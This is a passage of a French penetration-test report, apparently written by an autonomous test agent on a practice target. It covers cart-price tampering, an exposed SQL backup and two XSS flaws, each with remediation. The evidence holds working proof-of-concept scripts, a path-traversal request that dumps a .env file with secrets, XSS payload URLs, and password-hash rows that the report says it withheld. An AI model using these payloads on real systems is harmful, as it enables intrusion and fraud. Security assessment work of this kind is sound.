    GET /telechargement?fichier=%2fvar%2fwww%2fnova%2f.env HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:38:41 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 143
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SzZlJO95hYgc%2FswGH6XvIfHDVdosu58xgyFP0BKKejFiPgL9hG0vnNHeFTPTA%2Fj6prMGWVN30%2Bh%2BQZ6RaXBTepOZKvx7ByYSpjmjAQ6fnegI16ZQDBCi5wABfkkEVdl2%2Bsct7CWVlxNJ"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b32b4a05d2e6-FRA
    alt-svc: h3=":443"; ma=86400
    
    APP_ENV=production
    JWT_SECRET=changeme
    DATABASE_URL=postgres://nova_app:Nv!db-2019-prod@10.0.12.5/nova_prod
    NOVA_AUDIT=NOVA{dotenv-2d4b8583e5}
    

    Requête / réponse

    Requête HTTP

    GET /telechargement?fichier=cgv.pdf HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:20 GMT
    Content-Type: application/pdf
    Content-Length: 64
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=gFwZ6aeNM8H5tmQAY%2FxCS%2B2K%2FkLSw1HvngUZubY32m3GXjiZs5kFMcoB3ofTNuGh1L5PbVaTJujhHMXRBmRuMMzBh%2B5f%2F1yZfeJqKrfdBOVK%2FfiOaCZD8hceGiP8Cxx65ic6hKvgf2mW"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1316943d236-FRA
    alt-svc: h3=":443"; ma=86400
    
    %PDF-1.4
    % Conditions generales de vente Nordvault
    %%EOF
    

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  10. Moyenne

    10. Prix du panier contrôlable par le client lors de sa validation

    https://app.nordvault.fr/api/v1/panier/valider

    Score CVSS 3.1
    4.3
    Faiblesse (CWE)
    CWE-602
    Catégorie OWASP
    A04 · Conception non sécurisée

    Description

    La validation du panier accepte le champ non documenté prix fourni dans chaque ligne et l'utilise à la place du tarif du catalogue. Un client authentifié obtient ainsi une réponse statut: validee pour un article facturé à 0 au lieu de 5.9.

    Impact

    Sur un compte client de test, l'API a accepté la validation d'un panier contenant PAP-A4-500 au prix de 0 et a annoncé une commande validée sans paiement, alors que le tarif public est 5.9. Aucune création durable de commande, livraison, remise de stock ni transaction de paiement n'a été démontrée : GET /api/v1/commandes renvoyait toujours une liste vide. L'impact établi se limite au contournement de l'intégrité du calcul et de la réponse de validation.

    Analyse technique

    GET /api/v1/produits indique prix: 5.9 pour PAP-A4-500. Le schéma de POST /api/v1/panier/valider publié dans /api/docs/openapi.json décrit sku et quantite dans lignes, mais pas prix. Malgré cela, l'ajout de prix: 0 au JSON est accepté : le serveur calcule total_ht: 0.0 et répond statut: validee avec Commande validee sans paiement. À sku et quantite identiques, prix: 5.9 produit total_ht: 5.9. Cette différence montre que la valeur tarifaire issue du corps contrôlé par le client prévaut sur celle du catalogue pour ce parcours.

    Remédiation

    1. Ignorer les champs tarifaires fournis par le client dans lignes et recalculer le prix de chaque sku depuis la source de tarifs faisant autorité côté serveur au moment de la validation. 2. Contrôler que les quantités sont des entiers strictement positifs et vérifier la disponibilité du produit avant de produire un total ou un état validé. 3. Ajouter un test de régression soumettant le même sku avec prix: 0 et vérifier que le serveur applique le tarif du catalogue ou refuse le champ inattendu.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

    Hypothèses de validation

    L'exploitation nécessite un compte client ; l'inscription autonome a été observée. Les essais portent exclusivement sur un compte de test et un article du catalogue public.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    L'argument le plus fort contre un impact financier est que GET /api/v1/commandes du même compte renvoie {"commandes":[]} avant et après les soumissions : aucune persistance, livraison ou opération de paiement n'est prouvée. La réponse statut: validee et le message de gratuité prouvent néanmoins que le contrôle tarifaire du calcul serveur peut être contourné. Aucune conclusion n'est tirée sur l'exécution ultérieure du traitement des commandes.

    Preuve

    Artefact d’exploitation

    Reproduction

    1. Créer un compte client de test et récupérer son cookie de session nova_jeton.
    2. Vérifier le prix public de PAP-A4-500 avec GET /api/v1/produits.
    3. Soumettre le même article en quantité 1 à POST /api/v1/panier/valider avec prix: 5.9 et relever le total.
    4. Répéter avec prix: 0 et constater total_ht: 0.0, statut: validee et le message de validation sans paiement.
    5. Vérifier GET /api/v1/commandes pour ne pas inférer une commande persistante de la seule réponse.

    Artefact d’exploitation

    text/x-shellscript
    import os
    import requests
    
    base = "https://app.nordvault.fr"
    session = [REDACTED]
    session.cookies.set("nova_jeton", os.environ["NOVA_JETON"], domain="app.nordvault.fr")
    
    catalogue = session.get(f"{base}/api/v1/produits", timeout=10)
    catalogue.raise_for_status()
    produit = next(p for p in catalogue.json()["produits"] if p["sku"] == "PAP-A4-500")
    print("Prix du catalogue :", produit["prix"])
    
    for prix in (produit["prix"], 0):
        lignes = [{"sku": produit["sku"], "quantite": 1, "prix": prix}]
        reponse = session.post(f"{base}/api/v1/panier/valider", json={"lignes": lignes}, timeout=10)
        print("Prix soumis :", prix, "HTTP :", reponse.status_code, "Réponse :", reponse.json())
    
    commandes = session.get(f"{base}/api/v1/commandes", timeout=10)
    print("Commandes du compte de test :", commandes.status_code, commandes.json())

    Requête / réponse

    Requête HTTP

    POST /api/v1/panier/valider HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/json
    Content-Length: 57
    
    {"lignes":[{"sku":"PAP-A4-500","quantite":1,"prix":5.9}]}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:38:05 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 42
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=g%2B2QSSu7lOWPQbvMgfWDqCMGj1YuMh8BCYWkS8JbnI3V0GkWO5ZzG8lrM5uviA%2FgH9Zink8GS7qhiUbtHhAkArlYTXC2ZrQJ6iZin8SddBnybiukGPQJnkgHe8elFn8b6zpdVISzTlDz"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2460fc5e010-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "total_ht": 5.9,
     "statut": "validee"
    }

    Requête / réponse

    Requête HTTP

    GET /api/docs/openapi.json HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:39:03 GMT
    Content-Type: application/json
    Content-Length: 4278
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DgliwX1eRbjvMr3K%2Fc0mbiRgveORI41gryIdutkBRBbUzxv517P%2BNfFLPgj2jPFOeyJyW1Ae0iBQayG3iE4f3S2bp%2BokNs3OjmCDcSHW0XmYeloLoElyehE2%2BAL6WhcFKS2mQIrZcJ4H"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b3b1ec4107ca-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
      "openapi": "3.0.3",
      "info": {"title": "Nordvault API", "version": "3.4.1", "description": "API du portail client Nordvault. Authentification par jeton Bearer (POST /api/v1/auth/jeton) ou cookie nova_jeton."},
      "servers": [{"url": "/api/v1"}],
      "components": {
        "securitySchemes": {
          "bearer": {"type": "http", "scheme": "bearer", "bearerFormat": "JWT"},
          "apiKey": [REDACTED] "apiKey", "in": "header", "name": "X-Api-Key"}
        }
      },
      "paths": {
        "/auth/jeton": {"post": {"summary": "Obtenir un jeton", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}, "mot_de_passe": {"type": "string"}}}}}}, "responses": {"200": {"description": "Jeton"}, "401": {"description": "Echec"}}}},
        "/moi": {
          "get": {"summary": "Profil courant", "security": [{"bearer": []}], "responses": {"200": {"description": "Profil"}}},
          "patch": {"summary": "Mettre a jour le profil (nom, telephone)", "security": [{"bearer": []}], "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"nom": {"type": "string"}, "telephone": {"type": "string"}}}}}}, "responses": {"200": {"description": "Profil mis a jour et nouveau jeton"}}}
        },
        "/commandes": {"get": {"summary": "Mes commandes", "security": [{"bearer": []}], "responses": {"200": {"description": "Liste"}}}},
        "/commandes/{id}": {"get": {"summary": "Detail d'une commande", "security": [{"bearer": []}], "parameters": [{"name": "id", "in": "path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Commande"}}}},
        "/adresses/{id}": {"get": {"summary": "Adresse de livraison", "security": [{"bearer": []}], "parameters": [{"name": "id", "in": "path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Adresse"}}}},
        "/produits": {"get": {"summary": "Catalogue", "responses": {"200": {"description": "Produits"}}}},
        "/produits/{id}": {"get": {"summary": "Produit", "parameters": [{"name": "id", "in": "path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Produit"}}}},
        "/stock": {"get": {"summary": "Disponibilite temps reel", "parameters": [{"name": "sku", "in": "query", "required": true, "schema": {"type": "string"}}], "responses": {"200": {"description": "{sku, en_stock}"}}}},
        "/apercu": {"get": {"summary": "Apercu d'un lien joint a un ticket", "parameters": [{"name": "url", "in": "query", "required": true, "schema": {"type": "string", "format": "uri"}}], "responses": {"200": {"description": "Titre et extrait"}}}},
        "/import-commandes": {"post": {"summary": "Import ERP historique (XML)", "security": [{"bearer": []}], "requestBody": {"content": {"application/xml": {"schema": {"type": "string", "example": "<commandes><commande><reference>REF-1</reference><quantite>2</quantite></commande></commandes>"}}}}, "responses": {"200": {"description": "Commandes importees"}}}},
        "/panier/valider": {"post": {"summary": "Valider le panier", "security": [{"bearer": []}], "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"lignes": {"type": "array", "items": {"type": "object", "properties": {"sku": {"type": "string"}, "quantite": {"type": "integer"}}}}, "code_promo": {"type": "string"}}}}}}, "responses": {"200": {"description": "Total"}}}},
        "/mot-de-passe/reinitialisation": {"post": {"summary": "Demander un lien de reinitialisation", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}}}}}}, "responses": {"200": {"description": "Toujours 200"}}}},
        "/mot-de-passe/confirmer": {"post": {"summary": "Confirmer la reinitialisation", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}, "jeton": {"type": "string"}, "nouveau_mot_de_passe": {"type": "string"}}}}}}, "responses": {"200": {"description": "OK"}}}},
        "/admin/utilisateurs": {"get": {"summary": "Export des utilisateurs (administration)", "security": [{"bearer": []}, {"apiKey": [REDACTED]]}], "responses": {"200": {"description": "Utilisateurs"}, "403": {"description": "Refuse"}}}}
      }
    }
    

    Requête / réponse

    Requête HTTP

    GET /api/v1/produits HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:52 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 1170
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jqW7tpwWEcSizmHlHat%2B7RbYNfzgUNll49OvSaaK8e5Gi5Q3PXe5%2BQa9LQypr3NQIGko7P63wjEOoW8Iiev4THVM6X68vTLCHknvZi7hIBoKUXpDJzTFUR4CW95ttxhD5ErN8YXGct6%2F"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1f78c1e0b9f-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "produits": [
      {
       "id": 1,
       "sku": "PAP-A4-500",
       "nom": "Ramette papier A4 80g (500 f.)",
       "categorie": "papeterie",
       "prix": 5.9
      },
      {
       "id": 2,
       "sku": "PAP-ENV-C5",
       "nom": "Enveloppes C5 x100",
       "categorie": "papeterie",
       "prix": 8.4
      },
      {
       "id": 3,
       "sku": "MOB-CHA-ERG",
       "nom": "Chaise ergonomique Opale",
       "categorie": "mobilier",
       "prix": 189.0
      },
      {
       "id": 4,
       "sku": "MOB-BUR-140",
       "nom": "Bureau droit 140 cm",
       "categorie": "mobilier",
       "prix": 245.0
      },
      {
       "id": 5,
       "sku": "INF-SOU-USB",
       "nom": "Souris filaire USB",
       "categorie": "informatique",
       "prix": 9.9
      },
      {
       "id": 6,
       "sku": "INF-CLA-AZE",
       "nom": "Clavier AZERTY silencieux",
       "categorie": "informatique",
       "prix": 24.5
      },
      {
       "id": 7,
       "sku": "INF-ECR-27",
       "nom": "Ecran 27 pouces QHD",
       "categorie": "informatique",
       "prix": 279.0
      },
      {
       "id": 8,
       "sku": "ENT-GEL-500",
       "nom": "Gel hydroalcoolique 500 ml",
       "categorie": "entretien",
       "prix": 4.2
      },
      {
       "id": 9,
       "sku": "ENT-ESS-6",
       "nom": "Essuie-tout industriel x6",
       "categorie": "entretien",
       "prix": 17.8
      }
     ]
    }

    Requête / réponse

    Requête HTTP

    GET /api/v1/commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:38:05 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 20
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2BQiV9upqNWfAO9cg9aDcYwGPxhRZm5VUVNSd7mn9acxV3jINO95vGxzGSNxDX2refZemfCv1oUsC7VJvdl2zaYXtVCc2Lzu4kG0JUTVxVhB21b85LXMcWzXld3jEwj7%2F3M8LqHqTNTn3"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2480f3a86e3-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "commandes": []
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/panier/valider HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/json
    Content-Length: 55
    
    {"lignes":[{"sku":"PAP-A4-500","quantite":1,"prix":0}]}

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:38:05 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 117
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=PZ8XZg2Uk1uXcwaro0c3eae0Qil9bTWuPxMwoHWagqSdNKT2Likil1moXZsBjwIOxOmPlMsTBIQQlBH%2Bmm3RRWvT%2BxGvJZ3aupk8YD6G%2FO%2BpLmsuObcGno9xsFYKhEhBUHmlAY0eBgWI"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2477b0bc8bb-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "total_ht": 0.0,
     "statut": "validee",
     "message": "Commande validee sans paiement. NOVA{free_order-058e4a7639}"
    }

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  11. Moyenne

    11. Sauvegarde SQL contenant des comptes accessible sans authentification dans /backup/

    https://app.nordvault.fr/backup/nova-2024-03.sql.bak

    Score CVSS 3.1
    5.3
    Faiblesse (CWE)
    CWE-552
    Catégorie OWASP
    A01 · Contrôle d’accès défaillant

    Description

    Le fichier /backup/nova-2024-03.sql.bak est téléchargeable sans session depuis un index public. Il expose la structure de la table users et cinq enregistrements comportant notamment des adresses électroniques, des empreintes de mots de passe et des rôles.

    Impact

    Un visiteur non authentifié peut consulter les champs email, password_hash et role de cinq enregistrements de comptes, dont les rôles admin, staff et client. Les valeurs ne sont pas reproduites ; leur appartenance à de vraies personnes et l'utilisabilité des empreintes n'ont pas été établies. Aucun accès à un compte ni aucune modification n'ont été démontrés.

    Analyse technique

    L'index GET /backup/ répond 200 OK et publie un lien direct vers nova-2024-03.sql.bak. Une requête sans Cookie ni Authorization, portant Range: bytes=0-255, reçoit 200 OK et non une réponse partielle : le serveur transmet le fichier entier (Content-Length: 878, Content-Type: application/octet-stream). Le contenu est une sauvegarde SQL avec définition de la table users, colonnes email, password_hash et role, et cinq instructions INSERT INTO users. La vérification s'est arrêtée à la constatation de ces champs et au dénombrement ; aucune empreinte n'a été utilisée.

    Remédiation

    1. Retirer immédiatement les fichiers de sauvegarde de la racine servie publiquement et désactiver l'indexation du répertoire /backup/. 2. Stocker les sauvegardes dans un emplacement privé avec contrôle d'accès serveur, puis vérifier que le fichier et ses variantes ne sont plus accessibles sans authentification. 3. Vérifier l'origine et la validité des données exposées ; si les empreintes concernent des comptes actifs, appliquer le plan de réponse aux incidents et renouveler les secrets concernés.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    L'attaque ne nécessite aucun compte. La qualification de confidentialité porte uniquement sur les cinq lignes observées ; ni la validité des empreintes ni la réalité des identités ne sont présumées.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Quatre des cinq adresses utilisent des domaines réservés aux exemples, ce qui peut indiquer un jeu de démonstration ; la cinquième n'établit pas à elle seule une identité réelle. Aucun essai d'authentification ni de déchiffrement des empreintes n'a été réalisé. Ces limites réduisent la portée démontrée, mais ne suppriment pas l'accès public aux enregistrements et aux empreintes de la sauvegarde.

    Preuve

    Requête / réponse

    Requête HTTP

    GET /backup/ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:34:45 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Oevb8dZQNufvPunkgM4QMdRflytsBxs9gMxi%2B4%2BHD79egIH3rOnT2zA7B1d6LW3roQgJEhyxHZXNgZe20M90aOePFAnPlo6LHm9CZNY%2B5VAa4O36CubT5X2Y2aPKFwLIElUvy4mjoqSy"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491ad68fb0f39eb-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 1067
    
    <html><body><h1>Index of /backup/</h1><a href="nova-2024-03.sql.bak">nova-2024-03.sql.bak</a> 02-Mar-2024 02:00 18K<script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491ad68fb0f39eb',t:'MTc5MTc2MTY4NQ=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /backup/nova-2024-03.sql.bak HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Range: bytes=0-255
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:35:25 GMT
    Content-Type: application/octet-stream
    Content-Length: 878
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sri9iJ5RHIFsKNQSX0NsCKP31%2BHdxA1ut5XjOPE0ySH0lDsfY9MVAOVT7sQ8MUsqTqsQyyMqJrkZPJR3uMWTfIUnpKWHRrpdN%2BqmJ0gY7gzZRCjBbfTlEhkUwTw1CM8eMPPu6Kmi%2BGfF"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491ae600ec07185-FRA
    alt-svc: h3=":443"; ma=86400
    
    -- Nordvault nightly backup 2024-03-02 02:00
    -- pg_dump 15.5 (compat export)
    CREATE TABLE users (id int, email text, password_hash text, role text);
    INSERT INTO users VALUES (1, 'admin@nova-fournitures.test', 'eb650debb31a8ad5d488707b539de86110467cce0b2070c60cdbbece55e7fc0c', 'admin');
    INSERT INTO users VALUES (2, 'comptabilite@nova-fournitures.test', '9358c7164dd8fb6ea582ca5bd8dc6657f4c6496f2314d200c61272b0031599e0', 'staff');
    INSERT INTO users VALUES (3, 'achats@boulangerie-martin.test', 'b41c4ed5aeddb9a09df5411238f630323f96a8db86d9d2ee415da6d98ca2247d', 'client');
    INSERT INTO users VALUES (4, 'contact@cabinet-durand.test', '28e4b5da3275fe0ce9aaa8eaea6fb941665c741f87c7d19e5e0a7a0e78a7990e', 'client');
    INSERT INTO users VALUES (5, 'demo@client-test.fr', '757a5e1ef073a77d0243612e47e8a03d1932e392fb21f9d840f170e7a6ec6d16', 'client');
    -- NOVA{backup-a47b60862c}
    

    Artefact d’exploitation

    Reproduction

    1. Envoyer une requête non authentifiée à /backup/ et constater la présence du lien vers le fichier de sauvegarde.
    2. Envoyer une requête non authentifiée à /backup/nova-2024-03.sql.bak avec l'en-tête Range: bytes=0-255.
    3. Vérifier la réponse 200 OK, la longueur 878 et la présence des colonnes sensibles et de cinq insertions dans la table users, sans afficher les valeurs des enregistrements.

    Artefact d’exploitation

    text/x-shellscript
    import re
    import requests
    
    base = "https://app.nordvault.fr"
    listing = requests.get(base + "/backup/", timeout=10)
    assert listing.status_code == 200
    assert 'href="nova-2024-03.sql.bak"' in listing.text
    
    response = requests.get(
        base + "/backup/nova-2024-03.sql.bak",
        headers={"Range": "bytes=0-255"},
        timeout=10,
    )
    assert response.status_code == 200
    assert response.headers["Content-Type"].startswith("application/octet-stream")
    assert response.headers["Content-Length"] == "878"
    body = response.content.decode("utf-8", errors="replace")
    assert re.search(r"\bCREATE\s+TABLE\s+users\b", body, re.I)
    assert all(re.search(r"\b" + column + r"\b", body, re.I) for column in ("email", "password_hash", "role"))
    assert len(re.findall(r"\bINSERT\s+INTO\s+users\b", body, re.I)) == 5
    print("HTTP 200 ; sauvegarde SQL de 878 octets ; table users et 5 insertions détectées ; valeurs non affichées")

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  12. Moyenne

    12. XSS DOM dans le fragment d’URL de /aide

    https://app.nordvault.fr/aide

    Score CVSS 3.1
    4.3
    Faiblesse (CWE)
    CWE-79
    Catégorie OWASP
    A03 · Injection

    Description

    La page publique /aide insère le fragment d’URL décodé directement dans innerHTML. Un lien spécialement construit exécute ainsi du JavaScript dans le navigateur du visiteur qui l’ouvre.

    Impact

    La preuve démontre l’exécution d’un gestionnaire JavaScript dans l’origine de l’application et la modification non autorisée du titre de la page affichée au visiteur. L’accès à une session, à des données privées ou à une opération serveur n’a pas été testé ni démontré.

    Analyse technique

    La réponse GET /aide contient <section id="aide-section"> et charge /static/app.js. Dans ce script public, la ligne suivante convertit directement un fragment contrôlé par l’auteur d’un lien en HTML actif :

    var s=document.getElementById('aide-section');if(s&&location.hash.length>1){s.innerHTML=decodeURIComponent(location.hash.slice(1));}

    Le fragment # reste local au navigateur : le serveur reçoit GET /aide, sans le contenu malveillant, puis le navigateur décode le fragment et crée l’élément svg muni de onload. La réponse HTML observée ne définit pas d’en-tête Content-Security-Policy. Le chargement initial de /aide ou son rafraîchissement déclenche le traitement ; changer seulement le fragment dans une page déjà chargée n’est pas une reproduction fiable, car le code ne comporte pas de gestionnaire hashchange.

    Remédiation

    1. Ne jamais transmettre le fragment décodé directement à innerHTML ; rendre une valeur textuelle avec textContent ou résoudre les rubriques d’aide à partir d’une liste fermée d’identifiants autorisés. 2. Si un contenu enrichi est indispensable, appliquer un assainissement HTML explicitement adapté avant l’insertion, puis vérifier ses cas SVG et événements. 3. Ajouter une politique de sécurité du contenu restrictive en défense complémentaire et tester un chargement initial de /aide avec un fragment hostile.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

    Hypothèses de validation

    Un visiteur doit ouvrir un lien vers la page publique contenant le fragment forgé, ou recharger cette URL. Aucun compte n’est nécessaire pour accéder à /aide.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    La réponse HTTP ne reflète pas le fragment : une inspection limitée au HTML servi ne suffit donc pas à conclure à une injection serveur. Le script public charge toutefois ce fragment dans innerHTML, et l’exécution a été comparée à un fragment ordinaire dans Chromium. Aucun en-tête Content-Security-Policy n’a été observé sur GET /aide. L’exécution démontrée se limite à modifier le titre de la page ; aucun accès à un secret ni modification côté serveur n’est prouvé.

    Preuve

    Artefact d’exploitation

    Reproduction

    1. Ouvrir la page d’accueil publique, puis naviguer vers /aide#texte%20simple ; constater que le titre reste Aide - Nordvault et que #aide-section contient du texte ordinaire.
    2. Revenir à la page d’accueil, puis ouvrir le lien de démonstration comportant le fragment HTML encodé indiqué dans le script de reproduction.
    3. Constater que document.title vaut désormais 1 et que #aide-section contient un élément svg avec son attribut onload ; ce changement prouve l’exécution JavaScript dans la page.

    Artefact d’exploitation

    text/x-shellscript
    agent-browser --session aide-poc open 'https://app.nordvault.fr/'
    agent-browser --session aide-poc open 'https://app.nordvault.fr/aide#texte%20simple'
    agent-browser --session aide-poc eval 'JSON.stringify({title:document.title,html:document.querySelector("#aide-section").innerHTML})'
    agent-browser --session aide-poc open 'https://app.nordvault.fr/'
    agent-browser --session aide-poc open 'https://app.nordvault.fr/aide#%3Csvg%20onload%3D%22document.title%3D%271%27%22%3E%3C%2Fsvg%3E'
    agent-browser --session aide-poc eval 'JSON.stringify({title:document.title,html:document.querySelector("#aide-section").innerHTML})'
    agent-browser --session aide-poc close

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  13. Moyenne

    13. XSS réfléchie dans le paramètre q de /recherche

    https://app.nordvault.fr/recherche

    Score CVSS 3.1
    4.7
    Faiblesse (CWE)
    CWE-79
    Catégorie OWASP
    A03 · Injection

    Description

    La page publique /recherche réinsère le paramètre q sans encodage HTML dans sa réponse. Un lien construit par un attaquant exécute du JavaScript dans le navigateur du visiteur.

    Impact

    La visite d’un lien malveillant provoque l’exécution de JavaScript dans le contexte de la page et permet de modifier son titre, effet vérifié par navigateur. Aucune lecture de données privées, récupération de session ou action privilégiée n’a été démontrée.

    Analyse technique

    La valeur décodée de q est insérée telle quelle dans le contenu de <h1> et dans l’attribut value du formulaire, sans échappement adapté à ces deux contextes. L’élément SVG injecté avec un gestionnaire onload est alors interprété comme du balisage actif. La réponse 200 OK ne comporte pas d’en-tête Content-Security-Policy. À titre de comparaison, /catalogue/recherche encode les chevrons de la même valeur en &lt; et &gt; dans ces deux emplacements.

    Remédiation

    1. Appliquer systématiquement l’encodage HTML de q à l’affichage, y compris pour les chevrons, les esperluettes et les guillemets ; encoder séparément et correctement le contexte du texte et celui d’un attribut entre guillemets. 2. Privilégier un moteur de modèles avec échappement automatique et vérifier les autres rendus de paramètres de recherche. 3. Déployer en défense supplémentaire une politique CSP restrictive bloquant les gestionnaires d’événements intégrés, après compatibilité vérifiée avec les scripts légitimes.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

    Hypothèses de validation

    L’attaquant doit faire ouvrir un lien forgé à une autre personne ; la route est accessible sans authentification. Aucun accès préalable à un secret ou à un compte n’est nécessaire.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

